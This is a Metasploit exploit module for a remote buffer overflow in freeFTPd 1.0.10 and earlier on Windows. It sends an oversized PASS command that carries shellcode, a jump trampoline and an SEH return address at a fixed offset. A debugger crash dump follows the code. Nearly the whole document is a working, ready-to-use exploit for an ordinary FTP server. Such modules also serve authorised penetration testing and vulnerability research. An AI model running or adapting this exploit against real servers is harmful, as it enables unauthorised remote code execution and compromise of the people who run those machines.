freeFTPd 1.0.10 – ‘PASS’ Remote Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info={}) super(update_info(info, 'Name' => "freeFTPd PASS Command Buffer Overflow", 'Description' => %q{ freeFTPd 1.0.10 and below contains an overflow condition that is triggered as user-supplied input is not properly validated when handling a specially crafted PASS command. This may allow a remote attacker to cause a buffer overflow, resulting in a denial of service or allow the execution of arbitrary code. FreeFTPd must have an account set to authorization anonymous user account. }, 'License' => MSF_LICENSE, 'Author' => [ 'Wireghoul', # Initial discovery, PoC 'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module ], 'References' => [ ['OSVDB', '96517'], ['EDB', '27747'], ['BID', '61905'] ], 'Payload' => { 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ ['freeFTPd 1.0.10 and below on Windows Desktop Version', { 'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe] 'Offset' => 801, } ], ], 'Privileged' => false, 'DisclosureDate' => "Aug 20 2013", 'DefaultTarget' => 0)) register_options([ OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ]), ], self.class) # We're triggering the bug via the PASS command, no point to have pass as configurable # option. deregister_options('FTPPASS') end def check connect disconnect # All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0" # when banner grabbing. if banner =~ /freeFTPd 1\.0/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit connect print_status("Trying target #{target.name} with user #{user()}...") off = target['Offset'] - 9 bof = payload.encoded bof << rand_text(off - payload.encoded.length) bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string bof << rand_text(2) bof << [target.ret].pack('V') send_user(datastore['FTPUSER']) raw_send("PASS #{bof}\r\n") disconnect end end =begin (c78.ea4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18 eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 OLEAUT32!SysFreeString+0x55: 76c23e8d ff36 push dword ptr [esi] ds:0023:4141413d=???????? FAULTING_IP: OLEAUT32!SysFreeString+55 76c23e8d ff36 push dword ptr [esi] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 4141413d Attempt to read from address 4141413d =end |